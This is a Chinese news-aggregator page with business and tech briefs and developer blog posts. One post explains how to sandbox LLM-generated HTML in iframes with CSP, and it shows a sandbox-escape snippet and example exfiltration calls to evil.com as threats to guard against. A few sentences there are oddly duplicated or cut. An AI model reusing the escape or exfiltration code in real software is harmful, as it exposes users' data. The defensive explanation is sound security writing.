阅读视图

发现新文章,点击刷新页面。

Lucid即将推出Midsize平台,新车起售价低于5万美元

3月15日,Lucid Group,Inc.宣布一项全面的财务与产品战略,旨在扩大业务规模,加速迈向盈利及实现正向自由现金流。 该公司概述了即将推出的Midsize平台的关键技术与战略要素,并发布了新一代Atlas电动驱动单元。该平台包含三款车型,前两款分别为Lucid Cosmos和Lucid Earth,起售价低于5万美元。 此外,公司正在与Uber敲定一项协议,以与Gravity自动驾驶出租车项目类似的规模部署Lucid Midsize平台车型,并计划随着时间推移逐步扩大规模。 该公司还推出了Lunar,这是一款基于Midsize平台的双座自动驾驶出租车概念车。(界面)

从智能床到适老家具,660余项新国标激活品质消费

据市场监管总局消息,2025年以来,市场监管总局(国家标准委)加快以高质量标准供给更好满足人民群众多样化的消费需求,发布消费品和服务相关国家标准660多项,扎实推进标准提质升级,持续发挥标准在保障消费安全、提升服务品质、优化消费环境、提振消费信心中的基础性、引领性作用。

阅文作家助手Claw开启内测

36氪获悉,3月15日,阅文集团旗下专业网文创作工具“作家助手”宣布,作家助手Claw已开启内测。作家用户可一键完成安装部署,领养专属AI智能体,使用各种深度贴合网文创作场景的专属技能。

中国互联网金融协会发布《关于OpenClaw在互联网金融行业应用安全的风险提示》

36氪获悉,中国互联网金融协会提示称,OpenClaw智能体虽能提升工作效率,但其默认的高系统权限与弱安全配置,极易被攻击者利用,成为窃取敏感数据或非法操控交易的突破口,给行业带来严峻的风险挑战。中国互联网金融协会建议金融消费者在办理网上银行、证券交易、支付等个人金融业务的终端上极其谨慎安装OpenClaw。如确有必要安装,建议不授予金融服务类系统操作权限,及时跟进OpenClaw漏洞修复,严控功能插件安装,不在使用时输入身份证号、银行卡号、支付密码等敏感信息。另外,此类应用在运行过程中持续调用大模型接口,可能会产生较高的Token费用,建议使用者密切关注。

钉钉或将发布多款AI硬件

36氪获悉,钉钉预计将在3月17日发布会上,一次性推出多款新品,覆盖不止一个硬件品类。如果消息属实,这将是钉钉自去年推出AI录音卡片DingTalk A1以来,在硬件领域最大规模的一次动作。

河南首家人形机器人4S店开业,租赁业务火热

河南首家人形机器人4S店15日在郑州正式开业。当日,记者在这家机器人4S店看到,店内汇聚宇树、智元、乐聚等中国机器人龙头企业的多款主流产品,不仅展示、租赁、销售人形机器人产品,还提供数据采集、场景训练、模型迭代、售后运维等配套服务。 “顾客可以像选车一样对比多款主流机型,在实际场景中测试效能,获得定制化训练方案,大大降低使用门槛与风险。”负责运营该机器人4S店的河南具身智能产业发展有限公司业务经理陈杨受访时称,该店于今年1月底试营业以来,租赁业务火热。(证券时报)

胖东来最新回应“鸡蛋人工色素超标”:采购手续齐全,已送检配合核查

“正在配合市场管理部门对相关产品进行核查。”3月15日,针对鸡蛋被博主指人工色素超标一事,记者电采了胖东来,工作人员表示,“我们卖场售卖的生蛋产品,均通过正规的途径合法采购,手续都是齐全的,也得到了相应的进货查验的过程,暂时没有接到(下架)的通知。”3月13日,博主“王海测评”称,胖东来超市的鸡蛋检测出一种名为角黄素(斑蝥黄)的人工色素,含量为9.54mg/kg,超出农业农村部发布的《饲料添加剂安全使用规范》蛋禽类饲料中斑蝥黄允许的最大添加量8mg/kg。(新浪财经)

中国汽车流通协会40余家会员企业集体亮标准护消费

3・15国际消费者权益日来临之际,中国汽车流通协会发起了“标准护航·透明消费”特别行动,40余家二手车、零配件会员企业面向全社会公开服务标准与质量承诺,切实守护消费者合法权益。本次行动中公开的企业标准,覆盖二手车流通、鉴定评估、零配件批发零售等各服务环节,通过标准化建设实现服务品质的统一、规范、透明,共同推动行业高质量发展。 其中,二手车企业:承诺无重大事故、无泡水车,提供完整车辆历史报告;鉴定评估机构:承诺检测过程全程录像,鉴定结果客观公正;零配件商家:承诺原厂/品牌件可溯源,品质透明有保障等等。 中国汽车流通协会提醒广大消费者,可以一键查询企业公开的执行标准,轻松获取服务质量保障依据:1.登录“企业标准信息公共服务平台”;2.输入关注的企业名称;3.点击搜索即可查看标准详情。(界面)

Meta被曝计划裁员20%甚至更多

据路透社等媒体14日报道,美国科技巨头Meta正计划进行大规模裁员,裁员比例可能达到20%甚至更高。目的是节约成本,抵消巨额AI基础设施投入,并为AI辅助工作带来的效率提升做好准备。该公司宣布计划到2028年投入6000亿美元用于数据中心建设,同时斥资至少数十亿美元进行多项收购。为组建团队,Meta还向顶尖AI研究人员开出高达数亿美元的四年薪酬包。同时,公司对提升效率的要求也在一定程度上加速了裁员,公司首席执行官扎克伯格今年1月曾表示,他发现,过去需要大团队完成的项目,现在由一个非常有才华的人就能完成。这番言论似乎也为裁员埋下了伏笔。(e公司)

从一个 `console.log` 顺序翻车说起,聊聊微任务那些糟心事

从一个 console.log 顺序翻车说起,聊聊微任务那些糟心事

Promise.resolve().then(() => console.log('promise'))
queueMicrotask(() => console.log('microtask'))

const observer = new MutationObserver(() => console.log('mutation'))
const node = document.createTextNode('')
observer.observe(node, { characterData: true })
node.data = '1'

console.log('sync')

你猜输出啥?sync 先出来,没毛病,同步代码嘛。然后 promisemicrotaskmutation——这个等下再说,对吧?跑一下 Chrome。

没问题。

再跑一次。

sync
mutation
promise
microtask

坏了。MutationObserver 跑前面去了,你写代码的顺序根本不算数,入队时机才是爹。

同一个队列,不同的入队姿势

讲道理,我翻过不少事件循环的文章,十篇有八篇把 Promise.thenqueueMicrotaskMutationObserver 往"微任务"这个筐里一扔就完事了,说它们优先级一样。对吗?对。有用吗?没用。优先级一样但入队时机天差地别,最终谁先跑完全是另一码事。

queueMicrotask(fn) 最老实——你调用的那一瞬间 fn 就塞进微任务队列了,没有中间商赚差价,没有任何包装层,一步到位。Promise.resolve().then(fn) 差不多,因为这个 Promise 已经是 resolved 状态了,.then 执行的时候 fn 也是立刻入队,但它多走了一层 PromiseReactionJob 的内部机制,比 queueMicrotask 慢那么一丢丢。所以这俩的顺序基本就是你写代码的顺序,稳得一批。

MutationObserver 的话?不一样。

它的回调入队时机取决于浏览器把 DOM 变更"收集"完毕的时间点——浏览器会在同一个微任务检查点(microtask checkpoint)触发前,把这段时间内攒起来的所有 DOM 变更打包,然后才把 MutationObserver 的回调作为微任务丢进队列。就这个"攒"的动作,导致了时序上的不确定性,你没法拿看代码顺序来推断它什么时候入队(听起来很合理对吧,但是)。

// 这段的顺序是确定的
queueMicrotask(() => console.log('A'))  // 调用瞬间入队
Promise.resolve().then(() => console.log('B'))  // 也是立刻,但多了一层包装
// 永远 A → B

坦白说 V8 源码里 queueMicrotask 走的是 EnqueueMicrotask 这条更短的路径,而 Promise.then 要经过 NewPromiseReactionJobTask 再绕一圈才入队。别问我怎么知道的。

说到这里我自己都有点绕了。

这也解释了 Vue 的 nextTick 演变史:Vue 2 最早用 MutationObserver,时序不稳,后来换成 Promise.then,到 Vue 3 干脆用 queueMicrotask 打底。越直接越可控,就这么简单。

requestAnimationFrame 压根不是任务,它是渲染管线的一部分

这块是重灾区。

我见过无数事件循环示意图,把 rAF 画在宏任务和微任务旁边,搞一个所谓的"rAF 队列"。

来看一段会让你抓狂的代码:

document.querySelector('.box').style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  document.querySelector('.box').style.transform = 'translateX(100px)'
})

你以为会看到元素从 0px 平滑过渡到 100px 的动画?实际效果:元素直接出现在 100px 的位置,没有任何过渡。怎么回事?因为第一行的样式修改和 rAF 回调里的修改都在同一帧被处理了,浏览器把它们合并成一次渲染,中间根本没有产生过一帧"元素在 0px"的画面。

修复方案有两个。一是"双 rAF"技巧:

box.style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  // 第一个 rAF:确保 0px 这个值被渲染出去了
  requestAnimationFrame(() => {
    // 第二个 rAF:下一帧再改成 100px
    box.style.transform = 'translateX(100px)'
  })
})

二是用 getComputedStyle(box).transform 强制触发一次同步重排,逼浏览器把第一次修改"落地"。但这招有代价——同步布局计算在列表场景下会直接把帧率干到个位数,getComputedStyle 不是免费的午餐。

那浏览器事件循环一轮的真实顺序到底是啥?把渲染管线也画进来的话:

  1. 取一个宏任务跑完(setTimeout 回调、MessageChannel、用户点击事件之类的)
  2. 清空微任务队列,Promise.thenqueueMicrotaskMutationObserver 全在这一步
  3. 浏览器判断:需要渲染吗?不一定。屏幕 60Hz 的话大约 16.6ms 一帧,你要是 1ms 内连着跑了 10 个 setTimeout(fn, 0),大概率这 10 个宏任务全跑完了才渲染一次
  4. 如果要渲染——进入渲染阶段:跑 rAF 回调,算样式,跑布局,绘制,合成

反正大概是这么个意思。

注意第 3 步那个"不一定"。这就是为什么你不能拿 rAF 当"尽快执行"用,它的实际延迟可能比 setTimeout(fn, 0) 还大(听起来很合理对吧,但是)。React 的 scheduler 选了 MessageChannel 而不是 rAF,原因就在这——React 要的是"尽快切到下一个任务切片",不是"等到下一次渲染前"。

混在一起用的时候,地狱开始了

虚拟滚动列表。滚动事件触发后你要干三件事:算可视区域、改 DOM、等渲染完拿新 DOM 的高度。三步,三种调度策略。搞混一个直接白屏。

onScroll = (event) => {
  // 同步算可视范围,这步没争议
  const visibleRange = calcRange(event.scrollTop)

  // 微任务里批量更新 DOM——为什么?
  // 因为要赶在当前帧渲染前把 DOM 改好
  queueMicrotask(() => {
    updateDOM(visibleRange)

    // 等渲染完测量高度,用 rAF?
    // 坑来了
    requestAnimationFrame(() => {
      // rAF 跑在渲染阶段开头,布局还没算呢
      // 你拿到的高度是上一帧的

      requestAnimationFrame(() => {
        const heights = measureHeights()  // 这里才安全
      })
    })
  })
}

rAF 的回调跑在渲染流水线的最前面,在样式计算和布局之前,你在 rAF 里读 offsetHeight 之类的值,拿到的可能是旧的。又是双 rAF——第一个保证 DOM 更新进了渲染管线,第二个在下一帧拿上一帧的布局结果。

嗯,继续。

怎么说呢,这个调度模型其实一句话就能讲完:微任务在当前宏任务结束后渲染前清空,rAF 在渲染阶段开头跑,渲染整完后想做事没有原生 API,要么双 rAF 要么 ResizeObserver

但还有更绕的。rAF 回调里能不能产生微任务?能。

requestAnimationFrame(() => {
  console.log('rAF-1')
  queueMicrotask(() => console.log('micro-in-rAF'))
})

requestAnimationFrame(() => {
  console.log('rAF-2')
})
// 输出:rAF-1 → micro-in-rAF → rAF-2

每个 rAF 回调执行完后浏览器都会检查微任务队列并清空,跟宏任务结束后清空微任务是同一套逻辑——每个可执行上下文结束时都有一个 microtask checkpoint,rAF 回调也算一个可执行上下文,所以在 rAFqueueMicrotask 是安全的。

嗯,继续。

那在 rAF 回调里再调一次 requestAnimationFrame 注册的新回调会在当前帧跑吗?不会。规范写得很清楚:每帧开始时浏览器会对当前已注册的 rAF 回调列表做一次快照,只跑快照里的,执行期间新注册的推到下一帧。双 rAF 能保证跨帧不是 hack,是规范行为。

ResizeObserver 的调度时机更绕——卡在布局之后绘制之前,还可能触发二次 re-layout。够呛。这个回头单独写。

把 LLM 吐出来的组件扔进 `iframe` 跑:沙箱隔离这件事没你想的那么简单

把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单

dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上——你干过没?

干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div><style><script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。

早知道就老老实实做沙箱。

这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。

iframe sandbox:看起来一行属性就搞定,实际全是取舍

先说基础的。

<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制——不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:

<iframe
  sandbox="allow-scripts"
  srcdoc="..."
  style="width:100%;height:400px;border:none;"
></iframe>

就这一行。事情开始变复杂了。

allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocketlocalStorage 倒是默认禁用的,除非你加了 allow-same-origin

等等。千万别加这个。

allow-scripts + allow-same-origin:灾难组合

我踩过的最狠的坑就是这俩同时开。

这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:

// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为

完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了——但谁看 MDN 啊。别问。

所以第一条铁律:allow-scriptsallow-same-origin 永远不能同时出现。

不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStoragesessionStorageIndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大——你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。

怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:

sandbox 权限选择流程:

需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
         ↓
    需要提交表单吗?
    ├── 否 → 保持 allow-scripts
    └── 是 → allow-scripts allow-forms
              ↓
         需要弹窗(window.open)吗?
         ├── 否 → 到此为止
         └── 是 → 加 allow-popups
                   (但要想清楚,真的需要吗?)

 永远不加:allow-same-origin(和 allow-scripts 同时)
 永远不加:allow-top-navigation(防止跳转劫持)

光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。

CSP 怎么配才能把网络请求锁死

Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">

function wrapWithCSP(htmlFromLLM) {
  const csp = [
    "default-src 'none'",
    "script-src 'unsafe-inline'",
    "style-src 'unsafe-inline'",
    "img-src data: blob:",
  ].join('; ');

  return `
    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Security-Policy" content="${csp}">
    </head>
    <body>${htmlFromLLM}</body>
    </html>
  `;
}

看到 script-src 'unsafe-inline' 是不是慌了?

别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯……也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样——iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。

我也想过用 nonce 或者 sha256-hash 来限制。

坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src'none',所以效果一样。但我建议显式写上,代码即文档嘛:

const csp = [
  "default-src 'none'",
  "script-src 'unsafe-inline'",
  "style-src 'unsafe-inline'",
  "img-src data: blob:",
  "connect-src 'none'",  // 显式禁止 fetch/XHR/WebSocket
  "font-src 'none'",
].join('; ');

这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。

但事情没完。

AI 生成的代码要加载 CDN 上的库怎么办

这个场景我一开始压根没想到。

两条路。

第一条,白名单:

script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com

能用。

第二条路,也是我最后选的——在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc

LLM 输出的原始 HTML
        ↓
   预处理(父页面)
   ├── 扫描 <script src="...">
   ├── 下载脚本内容(白名单校验 URL)
   ├── 转为 <script>内联代码</script>
   └── 扫描 <link href="..."> 同理处理
        ↓
   组装 srcdoc(注入 CSP meta)
        ↓
   塞进 <iframe sandbox="allow-scripts">

CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。

反正大概是这么个意思。

这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法——有 type="module" 的、有 async 的、有 defer 的、还有写在 <head><body> 不同位置的——就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。

写到这里突然觉得之前说的不太对。

还有个容易忽略的点。<style> 里面的 @import url(...)background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。

错误边界:AI 生成的代码炸了怎么办

重要。但不复杂。

AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了——访问 undefined 的属性、死循环、内存爆了。啥都可能。

好吧这个问题比我想的复杂。

iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。

我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:

<script>
window.addEventListener('error', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno
  }, '*');
});

window.addEventListener('unhandledrejection', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.reason?.message || String(e.reason)
  }, '*');
});

// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
  parent.postMessage({
    type: '__sandbox_timeout__',
    message: 'Render timeout after 5000ms'
  }, '*');
}, 5000);

window.__notifyRenderComplete = function() {
  clearTimeout(__renderTimer);
  parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>

父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:

const iframeRef = useRef(null);

useEffect(() => {
  function handleMessage(event) {
    if (event.source !== iframeRef.current?.contentWindow) return;

    switch (event.data?.type) {
      case '__sandbox_error__':
        setError(event.data.message);
        break;
      case '__sandbox_timeout__':
        setError('组件渲染超时');
        break;
      case '__sandbox_ready__':
        setLoading(false);
        break;
    }
  }
  window.addEventListener('message', handleMessage);
  return () => window.removeEventListener('message', handleMessage);
}, []);

跑起来还行。

但有个问题始终没完美解决。死循环。

while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器——5 秒内没收到 __sandbox_ready__ 就认为挂了:

useEffect(() => {
  if (!loading) return;
  const timer = setTimeout(() => {
    setError('渲染超时,可能存在死循环');
    if (iframeRef.current) {
      iframeRef.current.srcdoc = '';
    }
  }, 5000);
  return () => clearTimeout(timer);
}, [loading]);

srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。

还有一类错误比较棘手。

try { localStorage } catch(e) {
  window.localStorage = {
    getItem: () => null,
    setItem: () => {},
    removeItem: () => {},
    clear: () => {},
    length: 0
  };
}

粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化——mock 之后它就走内存 fallback 了,比如 zustandpersist 中间件就是这个逻辑。

父子通信和动态尺寸

快速过。

iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。

new ResizeObserver(entries => {
  const height = entries[0].target.scrollHeight;
  parent.postMessage({
    type: '__sandbox_resize__',
    height: height
  }, '*');
}).observe(document.body);

父页面收到消息后更新 iframe 的 style.heightResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。

父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行——postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。

如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:

iframe → 父页面:  { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
                          ↓
                  校验 method 白名单 → 执行 → 拿到结果
                          ↓
父页面 → iframe:  { type: 'rpc_result', id: 'abc', result: ... }
                          ↓
                  iframe 侧 resolve 对应 Promise

二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history

最后一个不大不小的坑。

srcdoc 的内容如果包含 </script> 这个字符串——哪怕是嵌在 JS 的字符串字面量里——浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。


这套方案跑了差不多半年。扛住了各种离谱的 AI 输出——有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。

说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。

美宜佳总部回应多地门店卖假烟:已对全国4万家门店“拉网式”排查

3月14日,据广东网络广播电视台立财经报道,大量网友反映在美宜佳便利店买到了“假烟”。美宜家总部客服告诉记者,总部已经在积极跟进此事,“目前的话已经在对全国4万家门店进行“拉网式”排查,如果发现有问题的门店会立即停业处理。”针对于被曝售卖假烟的门店,客服表示,“我们公司对这种售假行为零容忍严处罚,如果情况属实我们会从严追责,终止合作,后续也会进一步强化监管,严守合规经营底线。”(界面)

市场监管总局:2025年为消费者挽回经济损失43.5亿元

据市场监管总局消息,2025年,全国市场监管部门通过全国12315平台、电话等渠道共受理消费者投诉、举报和咨询4386.6万件(投诉举报2646万件,同比增长9.8%),其中投诉2036.6万件,同比增长9.3%;举报609.4万件,同比增长11.4%;咨询1740.6万件,为消费者挽回经济损失43.5亿元,有力保护了消费者合法权益。(e公司)

黄金租赁变高利贷年利率超10倍

近日,一些平台通过“租赁”或分期购买手机、黄金等实物,变相开展“高利贷”。一名黄金租赁平台服务商向记者表示,只需投入3-5万元加盟费,便可获得超1000%的年收益,其目标客户直指有稳定流水的个体商户、外卖员等,甚至"以贷养贷"人群。该服务商透露,平台可对接公证处,在支付公证部门抽成20%后,能为手机、黄金、汽车等相关合同办理“赋强公证”。所谓“赋强公证”,是指赋予强制执行效力的法律文书,赋强公证一旦做出,即具有法律效力。服务商表示,有了公证书后,违约不需要去法院起诉,可直接出强制执行书。(新浪财经)

于东来最新回应胖东来“40亿资产分配”

3月14日,胖东来创始人于东来在社交平台发文,对胖东来“40亿元资产分配”一事进行说明。 声明称,“40亿资产分配”其实沿用了胖东来已经持续二十多年的分配体制,因为近期要建梦之城门店,所以把资产转化为股本,“避免未来出现财务分配问题,目的是让企业明明白白地安全经营和发展”。 于东来还提到,自己在分配中占比5%左右(约2亿元人民币)。 此外,于东来表示,网络上经常有个别人故意扭曲事实、含沙射影地制造社会矛盾,制造零元购等歪曲事实的造谣现象,“严重的我们会走法律途径,避免给社会造成更严重的负面影响。”(界面)

工业级AI视频厂商再融资,掌握120TB独家数据,营收破亿 | 硬氪首发

作者 | 乔钰杰

编辑 | 袁斯来

硬氪获悉,重庆达瓦合志影像科技有限公司(下称“达瓦科技”)宣布完成近亿元的新一轮融资。本轮融资由一村资本、宝捷会创新基金领投,老股东启赋资本、重庆永川国资平台持续跟投。

达瓦科技成立于2023年,总部位于重庆,是国内首个实现商业化闭环的专业级AI内容创作平台,并打通“生产+交易+履约”全链条的视频AI生态。2025年,达瓦科技营收突破亿元,三年复合增长率近300%,AI平台实现规模化收入。

达瓦科技的核心壁垒,建立在极其稀缺的120TB独家影视级结构化数据集之上。这套数据集包含镜头级、光学级、表演级等300多种标注要素,颗粒度精确到场景级。与依赖公开成片结果的通用模型不同,达瓦科技的数据源自200多个头部商业项目的真实拍摄过程。

创始人卢琪向硬氪介绍,传统数据集往往只有“输入文本-输出视频”的简单映射,而达瓦科技的数据包含了能教会AI“如何做出好内容”的深度决策信息。

“创作结果只能教会AI模仿,创作过程才能教会AI思考和判断。公开数据只包含‘好结果’,而达瓦科技的数据包含废案、妥协方案和导演批注。这些‘负样本’对AI理解商业取舍逻辑以及角色也是核心要素。”卢琪介绍称。

在专业视频领域,封装能力的重要性已超越模型能力本身。针对通用模型指令模糊、结果不稳定以及不理解专业黑话等痛点,达瓦科技构建了中间层的专业化封装能力,包含七维质量评估体系、影视行业知识图谱和经典分镜逻辑等,通过将行业know-how注入模型,让AI能够理解“好视频”的标准,确保输出内容符合商业需求。

公司旗下的FilmOS内容工业AI平台,能把一个创意需求,直接转化成包含分镜、AI素材、预算和拍摄计划的完整执行方案。同时,团队可以在共享空间里和多个AI助手协同工作,让AI参与全流程创意决策。此外,每一次协作的过程都会被记录下来,逐渐沉淀成团队自己的创作风格和方法。

市场方面,目前在大预算影视工业市场,FilmOS能将项目前期筹备周期从4-6周缩短至3-5天,预算精确度提升60%,显著降低超支风险,并利用AI提高推荐供应商的匹配度。而在中规模内容生产市场,达瓦科技的AI自动化生产流程能够将短剧的单部制作成本降低40%,在保证稳定内容产出的基础上显著缩短制作周期。

达瓦科技运营的永川科技片场,是国内使用率超过90%的高质量虚拟拍摄影棚。它不仅是影视制作的生产设施,也是达瓦科技持续吸引客户、积累数据的“数据工厂”。片场产生的包括导演决策逻辑、摄影师运镜技巧、制片人管控经验等“黄金数据”会再次进入FilmOS平台,经过清洗标注后成为训练模型的新燃料,形成自我强化的“数据飞轮”。

值得注意的是,达瓦科技自定位于“产业路由器”而非单纯的SaaS工具,这一定位源于其深度连接了产业链上的关键节点。作为国家级数字资产基础设施运营方,公司参与了4项国家标准的制定,深度绑定160多家生态企业、数千家注册导演和演员以及三万多家制作供应商,构筑了较强的生态壁垒。

本轮融资后,达瓦科技将继续迭代300亿参数的专业视频垂直AI模型,并加速FilmOS在专业内容创作领域的商业化应用。

多家脑机接口研究中心落地上海

《科创板日报》记者从首届上海蓝生脑科学与脑机接口国际论坛上获悉,多家脑机接口研究中心落地上海。京津冀国家技术创新中心上海蓝生脑科学与脑机系统创新研究中心”正式揭牌,该中心将依托京津冀国家技术创新中心的技术资源和上海蓝生脑科的临床优势,促进人工智能技术与脑科临床研究的融合发展,方向是产出突破性进展和颠覆性成果。此外,中国科学院深圳先进技术研究院-上海蓝生脑科“脑机工程与AI基础与临床研究创新联合体”、同济大学附属天佑医院-银河脑(北京)医疗有限公司“全国神经调控精准靶点治疗示范中心”相继揭牌。前者致力于开展脑机接口、神经调控等核心技术攻关;后者将建立神经调控质量规范,推广精准诊疗技术。(财联社)

easy-model:简化领域驱动开发的理想选择

在现代前端开发中,领域驱动设计(DDD)正成为越来越多项目的首选。easy-model 框架以其独特的模型驱动架构,为开发者提供了便捷的 DDD 实现途径。本文将重点介绍 easy-model 如何助力领域驱动开发、提升可测试性,并保持简单易用。

领域驱动开发的便捷实现

easy-model 的核心在于模型类封装。每个模型类代表一个业务领域,内部封装状态和逻辑,避免了传统状态管理的分散。这种设计让业务逻辑集中,易于理解和维护,完美契合 DDD 的理念。

import { useModel } from "easy-model";

class UserDomain {
  user = { id: "", name: "", email: "" };
  constructor(initialUser = { id: "", name: "", email: "" }) {
    this.user = initialUser;
  }

  updateUser(newUser: typeof this.user) {
    this.user = { ...this.user, ...newUser };
  }

  validateEmail() {
    return this.user.email.includes("@");
  }
}

function UserComponent() {
  const userDomain = useModel(UserDomain, [{ id: "1", name: "张三", email: "zhangsan@example.com" }]);

  return (
    <div>
      <h2>{userDomain.user.name}</h2>
      <p>邮箱有效: {userDomain.validateEmail() ? "是" : "否"}</p>
      <button onClick={() => userDomain.updateUser({ name: "李四" })}>
        更新姓名
      </button>
    </div>
  );
}

通过 useModel,组件直接创建并订阅模型实例。模型类的方法封装业务逻辑,如验证和更新,确保领域知识内聚。相比 Redux 的 action/reducer 分离,easy-model 更贴近 OOP 思维。

卓越的可测试性

模型类作为纯逻辑单元,便于单元测试,无需复杂 mocking。

import { describe, it, expect } from "vitest";
import { provide } from "@e7w/easy-model";

describe("UserDomain", () => {
  it("should validate email correctly", () => {
    const model = provide(UserDomain)({
      id: "1",
      name: "Test",
      email: "test@example.com",
    });
    expect(model.validateEmail()).toBe(true);

    model.updateUser({ email: "invalid" });
    expect(model.validateEmail()).toBe(false);
  });

  it("should update user", () => {
    const model = provide(UserDomain)({
      id: "1",
      name: "Old",
      email: "old@example.com",
    });
    model.updateUser({ name: "New" });
    expect(model.user.name).toBe("New");
  });
});

框架的实例缓存机制(provide)允许按参数分组,确保测试隔离。依赖注入通过 inject 装饰器和容器配置,支持 mock 替换,提升集成测试效率。

简单易用的开发体验

